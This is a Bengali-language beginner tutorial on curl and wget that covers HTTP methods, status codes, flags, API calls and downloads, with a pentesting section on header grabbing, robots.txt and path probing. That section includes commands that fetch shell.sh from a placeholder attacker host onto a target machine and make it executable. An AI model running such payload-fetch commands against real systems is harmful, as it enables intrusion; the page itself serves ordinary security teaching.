curl & wget
Browser ছাড়া terminal থেকে web server-এ request পাঠানো, API call করা, file download করা — curl আর wget দিয়ে সব হয়। Penetration testing-এ এই দুটো tool প্রতিদিন লাগে।
HTTP Request কী
আগে বোঝো, তারপর command।
তুমি browser-এ google.com লিখলে browser আসলে Google-এর server-এ একটা HTTP Request পাঠায়। Server সেটা দেখে HTTP Response পাঠায় — যেখানে web page-এর content থাকে।
curl হলো সেই browser-এর কাজটাই terminal থেকে করার tool।
HTTP Methods:
| Method | মানে | কাজ |
|---|---|---|
GET | তথ্য নাও | Page load করা, data read করা |
POST | তথ্য পাঠাও | Form submit, login, file upload |
PUT | তথ্য update করো | Existing record বদলানো |
DELETE | তথ্য মুছে দাও | Record delete করা |
HTTP Response code:
| Code | মানে |
|---|---|
200 | OK — সফল |
301/302 | Redirect — অন্য URL-এ যাও |
403 | Forbidden — আছে কিন্তু access নেই |
404 | Not Found — নেই |
500 | Server Error — server-এ সমস্যা |
curl vs wget
| curl | wget | |
|---|---|---|
| মূল কাজ | HTTP requests, API testing | File download |
| Output | Terminal-এ দেখায় | File-এ save করে |
| API support | হ্যাঁ — best choice | না |
| Recursive download | না | হ্যাঁ |
| Resume download | না (সহজে) | হ্যাঁ (-c) |
curl
Basic requests:
# GET request — page content terminal-এ দেখো
curl https://example.com
# শুধু Response headers দেখো (body নয়)
# Server software, content type, redirect দেখতে কাজে লাগে
curl -I https://example.com
# Headers + body দুটোই
curl -i https://example.com
# File-এ save করো
curl -o output.html https://example.com # নিজের নাম দাও
curl -O https://example.com/file.zip # original নাম রাখো
# Redirect follow করো (301/302)
curl -L https://short.url/abc
# Verbose — পুরো request এবং response দেখো
curl -v https://example.com
# Silent — progress bar লুকাও (script-এ ব্যবহার করতে)
curl -s https://example.comAPI requests:
# GET request
curl https://api.example.com/users
# POST — JSON data পাঠাও (login, form submit)
curl -X POST https://api.example.com/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"pass123"}'
# -X POST = method
# -H = header যোগ করো
# -d = body data
# Authentication header
curl -H "Authorization: Bearer eyJhbGci..." https://api.example.com/data
# PUT — existing data update
curl -X PUT https://api.example.com/user/1 \
-H "Content-Type: application/json" \
-d '{"name":"Omar"}'
# DELETE
curl -X DELETE https://api.example.com/user/1Bearer Token কী: API authentication-এ server একটা token দেয়। সেটা প্রতিটো request-এ header-এ পাঠাতে হয় — এটাই Bearer token। Authorization: Bearer TOKEN এই format-এ।
Useful flags চিটশিট:
| Flag | কাজ |
|---|---|
-X METHOD | HTTP method specify করো |
-H "Header: Value" | Custom header যোগ করো |
-d "data" | Request body data |
-o filename | Output file নাম দাও |
-O | Original filename-এ save করো |
-L | Redirect follow করো |
-I | শুধু headers দেখো |
-i | Headers + body দেখো |
-s | Silent mode |
-v | Verbose — সব দেখো |
-k | SSL certificate error ignore করো |
wget
File download-এর জন্য সবচেয়ে reliable।
# File download করো
wget https://example.com/file.zip
# নিজের নাম দিয়ে save করো
wget -O myfile.zip https://example.com/file.zip
# Background-এ download (বড় file)
wget -b https://example.com/largefile.iso
# Interrupted download resume করো
wget -c https://example.com/largefile.iso
# Speed limit — bandwidth বাঁচাতে
wget --limit-rate=500k https://example.com/file.zip
# একাধিক file — urls.txt-এ প্রতি line-এ একটা URL
wget -i urls.txtCyberSec Note
curl আর wget pentesting-এ:
Information gathering:
# Server technology detect করো — কোন web server, কোন version
curl -I https://target.com
# Server: nginx/1.18.0
# X-Powered-By: PHP/7.4.3
# robots.txt পড়ো — admin বলে দিচ্ছে কোন paths hide করতে চাইছে
# এই paths গুলোই interesting target
curl https://target.com/robots.txt
# Disallow: /admin
# Disallow: /backup
# Disallow: /secret
# HTTP status code দেখে path exists কিনা বোঝো
curl -s -o /dev/null -w "%{http_code}" https://target.com/admin
# 200 = exists, 403 = exists but forbidden, 404 = নেইFile transfer — target machine-এ payload পাঠাও:
# Target machine-এ shell download করো
wget http://attacker-ip:8000/shell.sh -O /tmp/shell.sh
chmod +x /tmp/shell.sh
# অথবা curl দিয়ে
curl http://attacker-ip:8000/shell.sh -o /tmp/shell.shSSL ignore — internal apps:
# Self-signed certificate থাকলে
curl -k https://internal-app.localTryHackMe-তে প্রায়ই wget দিয়ে exploit download করতে হয় target machine-এ, আর curl দিয়ে API endpoints test আর status code দেখতে হয়।
Quick Check
-
GETআরPOSTrequest-এর পার্থক্য কী? -
curl -Iআরcurl -i— কোনটায় কী পার্থক্য? - Response code
403আর404কীভাবে আলাদা? -
robots.txtকেন pentesting-এ দেখা হয়? -
wget -cকেন ব্যবহার করবে?
পরবর্তী → Netcat